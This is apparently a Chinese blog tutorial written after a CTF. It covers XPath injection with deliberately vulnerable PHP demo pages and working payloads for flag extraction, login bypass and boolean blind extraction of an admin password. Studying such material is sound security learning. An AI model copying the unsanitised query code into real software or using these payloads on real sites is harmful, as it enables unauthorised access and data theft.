本文最后更新于:2023年8月25日 下午
[TOC]
xpath注入漏洞
前言
今天碰到一个ctf题目,是有关xpath盲注的,之前从没了解过,所以学习了一下,写博客记录下来
什么是xpath
XPath即为XML路径语言,它是一种用来确定XML文档中某部分位置的语言。XPath基于XML的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力
xpath注入类似于sql注入,是由于解释器的容错特性导致,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入
xpath语法
在学习xpath注入之前肯定要先了解其语法:
具体参照 菜鸟教程
假设xml文档如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8"?> <bookstore> <book> <title lang="eng">Harry Potter</title> <price>29.99</price> </book> <book> <title lang="eng">Learning XML</title> <price>39.95</price> </book> </bookstore>
|
路径表达式 |
结果 |
bookstore |
选取 bookstore 元素的所有子节点。 |
/bookstore |
选取根元素 bookstore。注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径! |
bookstore/book |
选取属于 bookstore 的子元素的所有 book 元素。 |
//book |
选取所有 book 子元素,而不管它们在文档中的位置。 |
bookstore//book |
选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。 |
//@lang |
选取名为 lang 的所有属性。 |
/bookstore/book[1] |
选取属于 bookstore 子元素的第一个 book 元素。 |
/bookstore/book[last()] |
选取属于 bookstore 子元素的最后一个 book 元素。 |
/bookstore/book[last()-1] |
选取属于 bookstore 子元素的倒数第二个 book 元素。 |
/bookstore/book[position()<3] |
选取最前面的两个属于 bookstore 元素的子元素的 book 元素。 |
//title[@lang] |
选取所有拥有名为 lang 的属性的 title 元素。 |
//title[@lang=’eng’] |
选取所有 title 元素,且这些元素拥有值为 eng 的 lang 属性。 |
/bookstore/book[price>35.00] |
选取 bookstore 元素的所有 book 元素,且其中的 price 元素的值须大于 35.00。 |
/bookstore/book[price>35.00]//title |
选取 bookstore 元素中的 book 元素的所有 title 元素,且其中的 price 元素的值须大于 35.00。 |
路径表达式 |
结果 |
//book/title | //book/price |
选取 book 元素的所有 title 和 price 元素。 |
//title | //price |
选取文档中的所有 title 和 price 元素。 |
/bookstore/book/title | //price |
选取属于 bookstore 元素的 book 元素的所有 title 元素,以及文档中所有的 price 元素。 |
路径表达式 |
结果 |
/bookstore/* |
选取 bookstore 元素的所有子元素。 |
//* |
选取文档中的所有元素。 |
//title[@*] |
选取所有带有属性的 title 元素。 |
简单了解一下就行了
常规xpath注入
test.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?xml version="1.0" encoding="utf-8"?> <root1> <user> <username name='user1'>user1</username> <key>KEY:1</key> <username name='user2'>user2</username> <key>KEY:2</key> <username name='user3'>user3</username> <key>KEY:3</key> <username name='user4'>user4</username> <key>KEY:4</key> <username name='user5'>user5</username> <key>KEY:5</key> <username name='user6'>user6</username> <key>KEY:6</key> <username name='user7'>user7</username> <key>KEY:7</key> <username name='user8'>user8</username> <key>KEY:8</key> <username name='user9'>user9</username> <key>KEY:9</key> </user> <hctfadmin> <username name='hctf1'>hctf</username> <key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key> </hctfadmin> </root1>
|
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php if (file_exists('test.xml')) { $xml = simplexml_load_file('test.xml'); $user = $_GET['user']; $query = "user/username[@name='" . $user . "']"; $ans = $xml->xpath($query); foreach ($ans as $x => $x_value) { echo "2"; echo $x . ": " . $x_value; echo "<br />"; } } ?>
|
这个文件的逻辑是判断test.xml
是否存在,如果存在,则加载test.xml
给$xml
变量,然后xpath查询user/username
其中属性@name
的值等于$user
的,将其查询出来
很明显这里没有对输入做出任何过滤,我们可以闭合引号,然后构造恶意xpath语句查询出flag
首先我们先正常输入一下:
然后我们输入一个单引号:
报错了,接着我们构造:
原查询语句即为:
1
| user/username[@name='' or '1'='1']
|
条件为true,会将 /user/username
中的值全部查询出来
但是这里没有查询出flag,why?因为flag不在这个路径下,我们怎么构造呢?
1
| '] | hctfadmin/*[position()=2] | //*['
|
原查询语句就是:
1
| user/username[@name=''] | hctfadmin/*[position()=2] | //*['']
|
xpath绕过登录
test.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8"?> <accounts> <user id="1"> <username>leekos</username> <email>admin@xx.com</email> <accounttype>administrator</accounttype> <password>P@ssword123</password> </user> <user id="2"> <username>test</username> <email>tw@xx.com</email> <accounttype>normal</accounttype> <password>123456</password> </user> </accounts>
|
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> </head> <body> <form method="POST"> username: <input type="text" name="username"> </p> password: <input type="password" name="password"> </p> <input type="submit" value="登录" name="submit"> </p> </form> </body> </html> <?php if (file_exists('test.xml')) { $xml = simplexml_load_file('test.xml'); if ($_POST['submit']) { $username = $_POST['username']; $password = $_POST['password']; $x_query = "/accounts/user[username='{$username}' and password='{$password}']"; $result = $xml->xpath($x_query); if (count($result) == 0) { echo '登录失败'; } else { echo "登录成功"; $login_user = $result[0]->username; echo "you login as $login_user"; } } } ?>
|
这里我们只知道test账号和密码,如何才能以管理员权限登录呢?
这里我们假设不知道管理员的账号leekos
这里同样存在xpath注入:
1
| /accounts/user[username='{$username}' and password='{$password}']
|
这里我们其实只要知道了一个用户的名称就可以无需密码登录了:
但是这里我们不知道管理员的账号的密码,怎么登录呢?
由于很多管理账号默认在数据库的第一位,所以我们使用类似sql万能密码就可以以管理员身份注入了:
xpath盲注
重头戏
xpath盲注适用于不知道xml文档的结构,并且没有报错相关信息,只能通过布尔查询的情况
xpath盲注查询步骤
- 查询根目录下结点数
- 查询根目录下某一结点的长度
- 查询根目录下某一结点的名称
- …….
test.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8"?> <accounts> <user id="1"> <username>leekos</username> <email>admin@xx.com</email> <accounttype>administrator</accounttype> <password>P@ssword123</password> </user> <user id="2"> <username>test</username> <email>tw@xx.com</email> <accounttype>normal</accounttype> <password>123456</password> </user> </accounts>
|
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php if (file_exists('test.xml')) { $xml = simplexml_load_file('test.xml'); $user = $_GET['user']; $query = "user/username[@name='" . $user . "']"; $ans = $xml->xpath($query); foreach ($ans as $x => $x_value) { echo "2"; echo $x . ": " . $x_value; echo "<br />"; } } ?>
|
假设我们需要查询管理员账户的密码:
我们先测试一下根目录下有几个结点:count()
是计数的函数
刚好测出只有根目录一个结点
然后测出长度为:8 string-length()
是计算字符串长度的函数
1
| ' or string-length(name(/*[1]))=8 or '
|
然后开始盲注,一个个猜该结点的字符:
1 2 3
| ' or substring((name(/*[1])),1,1)='a' or ' ' or substring((name(/*[1])),2,1)='c' or ' ...
|
注入出结点名称:accounts
测试/accounts
下有几个结点:(测出两个)
1
| ' or count(/accounts/*)=2 or '
|
第一个子节点的长度为4:
1
| ' or string-length(name(/accounts/*[1]))=4 or '
|
该节点共有四个子节点:
1
| ' or count(/accounts/*[1]/*)=4 or '
|
此处不再赘述,假设已经获得子节点password
现在我们需要获取它的长度:
1
| ' or string-length(/accounts/*[1]/password)=11 or '
|
盲注测出具体值:
1 2 3
| ' or substring((/accounts/*[1]/password),1,1)='P' or ' ' or substring((/accounts/*[1]/password),2,1)='@' or ' ...
|
总结
easy,不难,熟练一下就好了,重要的要写盲注脚本